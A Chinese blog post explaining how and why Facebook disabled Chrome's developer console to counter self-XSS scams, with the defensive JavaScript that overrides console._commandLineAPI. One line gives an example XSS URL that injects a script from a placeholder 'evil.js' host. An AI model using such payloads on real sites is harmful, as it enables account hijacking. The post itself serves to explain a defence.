Facebook是如何禁用浏览器的Developer Tools的

标签 IT工具网 javascript

原问题:How does Facebook disable the browser’s integrated Developer Tools?

提问者用Chome打开Facebook时,发现Developer Tools里的Console被禁用了。 chrome-dev-tools-at-facebook-page

甚至连Chrome console的自动提示功能都失效了。

chrome-dev-console-auto-complete-disabled

他很好奇是怎么做到的。

现在排名第一的答案,正是来自于当时做这件事的Facebook工程师。我们可以从他的回答中了解到一些原委。

Why Disable Chrome Console

这是为了防止special social engineering attack (Facebook链接,需翻墙查看)

Social-Engineering Attack

上面链接里的视频很好的解释了这个问题。考虑到有些朋友可能打不开那个页面,我在这儿就复述一遍视频里讲的。

Share Baiting

钓鱼分享:做一个网友可能会感兴趣的视频或页面,诱发他分享到Facebook。其实这个分享链接是个钓鱼链接。

self-XSS

他的好友在Facebook上看到了他的这个分享,点击链接后发现需要做一些操作才能查看:

  • 点击当前页面地址栏
  • 按键盘的J
  • Ctrl+v粘贴,回车

然后就会发现好友分享的那个视频里什么也没有,反而自己的Facebook自动发布了一些广告或其他信息。这就是self-XSS攻击。

Self-XSS 又称为跨站脚本攻击,设计用于诱使您泄露 Facebook 帐户访问权限。如果诈骗人获得您帐户的访问权限,他们可以用您的名义发布内容或评论。要避免 Self-XSS 攻击,切勿复制并粘贴可疑链接。

Why Chrome

因为Chrome是唯一能受到这种攻击的主流浏览器。IE9/Firefox都能有效防止这类攻击。

Why disable console

常见的XSS攻击是类似这样:

// Normal request URL
http://host/request?q=xxx
// Request URL with XSS-attach
http://host/request?%q=3Cscript src=siteB/evil.js%3E%3Cscript%3E

防止XSS攻击是web server端程序要做的,因为一般是表单提交或者http request中产生XSS。但self-XSS攻击脚本的引入是用户自己完成的,脚本的下载和执行是Chrome完成的,Facebook后端处理post或者http request的程序根本没参与这个过程,什么也做不了。

但Facebook总得做点儿啥,不然用户可能认为这是它的bug,或者它做的不够才让spam盛行。在搞清楚这种攻击的执行原理之后,决定从Console下手,使得恶意脚本无法自执行。

但考虑到影响范围,Facebook只是选择一部分用户来启动这种应对手段。可能是筛选出可能受到这种攻击的用户。

How To Make It

前面说了,搞Console的目的是使得恶意脚本无法自执行。

Chome把所有console里的代码都封装成这样来运行:

with ((console && console._commandLineAPI) || {}) {
  <code goes here>
}

Command Line API

我们来看看这个console._commandLineAPI是什么。

简单的说,就是Chrome为其console提供了若干个接口,你在console里可以直接调用它。比如:copy() && clear() && profile()

前面的self-XSS的原理之一,就是利用了console._commandLineAPI

不只是Chrome,Firefox/Safari也同样提供这些console接口*(IE还不清楚)*。只是Safari/Firefox提供的接口比较有限,避免了这类sel-XSS攻击。

因此Facebook做的,就是hack掉console._commandLineAPI,重新定义它。

Nexflix也做了类似的手段

Facebook的hack大概长这样

Object.defineProperty(window, "console", {
    value: console,
    writable: false,
    configurable: false
});

var i = 0;
function showWarningAndThrow() {
    if (!i) {
        setTimeout(function () {
            console.log("%cWarning message", "font: 2em sans-serif; color: yellow; background-color: red;");
        }, 1);
        i = 1;
    }
    throw "Console is disabled";
}

var l, n = {
        set: function (o) {
            l = o;
        },
        get: function () {
            showWarningAndThrow();
            return l;
        }
    };
Object.defineProperty(console, "_commandLineAPI", n);
Object.defineProperty(console, "__commandLineAPI", n);

相关文章:

javascript - 如何使用 js setinterval() 在两种背景颜色之间切换

javascript - 为什么 $httpProvider.interceptors 返回 `undefined` 值

javascript - 恢复已被覆盖的内置方法

javascript - jquery 上一个和下一个相邻的兄弟

用java怎么创建一个文件并向该文件写文本内容

javascript - 如何在 Javascript 中舍入一个数字?

重新导入项目到eclipse时遇到'Must Override a Superclass Method'报错

JavaScript中对象属性的定义

Git如何更新密码,fatal: Authentication failed for

如何用JavaScript生成一个GUID/UUID